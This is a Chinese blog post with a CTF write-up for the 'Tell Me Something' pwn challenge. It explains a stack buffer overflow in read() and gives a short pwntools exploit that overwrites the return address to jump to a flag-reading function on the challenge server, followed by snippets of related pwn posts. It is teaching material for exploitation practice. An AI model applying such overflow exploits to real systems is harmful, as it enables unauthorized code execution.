题目地址

友链

64位的程序  并且有NX保护机制

用IDA查看伪代码

发现可以good_game函数中可以直接打开flag.txt

但是main函数不会执行good_game函数，不过 read函数存在栈溢出，可以利用栈溢出控制程序流程，执行good_game

正常我们是需要填充（0x88+0x8）个字节，再写入good_game的地址

但是这样构造的payload打不通

看了一下汇编

跟平时常见的构造栈帧不一样，平时构造栈帧是为

push ebp

mov  ebp，esp

sub   esp，栈帧大小

......

.......

add   esp，栈帧大小

pop   ebp

retn

因为栈帧不一样，没有old_ebp，所以只需要填充0x88即可

然后再查看good_game的地址

exp

from pwn import *

r=remote('pwn.jarvisoj.com',9876)

payload=(0x88)*'a'+p64(0x400620)

r.sendline(payload)

r.interactive()

                   
执行



												


											
Pwn-Tell Me Something的更多相关文章
	

    
						
  1. Pwn~
		
    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1  ...
    
		
    2. 
						
  2. iscc2016 pwn部分writeup
		
    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
    
		
    3. 
						
  3. i春秋30强挑战赛pwn解题过程
		
    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
    
		
    4. 
						
  4. SSCTF Final PWN
		
    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...
    
		
    5. 
						
  5. pwn学习（1）
		
    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
    
		
    6. 
						
  6. pwn学习之四
		
    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...
    
		
    7. 
						
  7. pwn学习之三
		
    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...
    
		
    8. 
						
  8. pwn学习之二
		
    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
    
		
    9. 
						
  9. pwn学习之一
		
    刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
    
		
    10. 
						
  10. kernel pwn 入门环境搭建
		
    刚开始上手kernel pwn,光环境就搭了好几天,应该是我太菜了.. 好下面进入正题,环境总共就由两部分构成,qemu和gdb.这两个最好都需要使用源码安装. 我使用的安装环境为 qemu:安装前要 ...
    
		
    11. 
		

	


随机推荐
	

    
									
  1. LeetCode 1244. 力扣排行榜
			
    地址 https://www.acwing.com/solution/LeetCode/content/5765/ 题目描述新一轮的「力扣杯」编程大赛即将启动,为了动态显示参赛者的得分数据,需要设计一 ...
    
			
    2. 
						
  2. nginx学习(五)：nginx.conf 核心配置文件详解
			
    整体结构 详细信息 1.设置worker进程的用户,指的linux中的用户,会涉及到nginx操作目录或文件的一些权限,默认为nobody user root; 2.worker进程工作数设置,一般来 ...
    
			
    3. 
						
  3. CF1248F Catowice City
			
    题目链接 problem 有\(n\)个人,每个人家有一只猫.每个人都认识一些猫(其中肯定包括自己家的猫).选出\(j\)个人和\(k\)只猫\((j,k\ge 1)\).使得\(j+k=n\)且选出 ...
    
			
    4. 
						
  4. 网络传播模型Python代码实现
			
    SI模型 import numpy as np import matplotlib.pyplot as plt import smallworld as sw #邻接矩阵 a = sw.a # 感染率 ...
    
			
    5. 
						
  5. matlab练习程序（螺线拟合）
			
    这里待拟合的螺线我们选择阿基米德螺线,对数螺线类似. 螺线的笛卡尔坐标系方程为:   螺线从笛卡尔坐标转为极坐标方程为:   阿基米德螺线在极坐标系下极径r和极角theta为线性关系,方程为:   计 ...
    
			
    6. 
						
  6. node 下载 md5.js
			
    命令:npm install js-md5
    
			
    7. 
						
  7. What is Java virtual machine?
			
    Java Virtual Machine (JVM) is a specification that provides runtime environment in which java  bytec ...
    
			
    8. 
						
  8. excel 知识备忘
			
    public void UpdateShapesColor(string value) { foreach (Microsoft.Office.Interop.Excel.Shape chart in ...
    
			
    9. 
						
  9. python 安装impala包
			
    一路安装就可以 .pip install six .pip install bit_array .pip install thriftpy .pip install thrift_sasl .pip  ...
    
			
    10. 
						
  10. python基础(20):序列化、json模块、pickle模块
			
    1. 序列化 什么叫序列化——将原本的字典.列表等内容转换成一个字符串的过程就叫做序列化. 1.1 为什么要有序列化 为什么要把其他数据类型转换成字符串?因为能够在网络上传输的只能是bytes,而能够 ...
    
			
    11.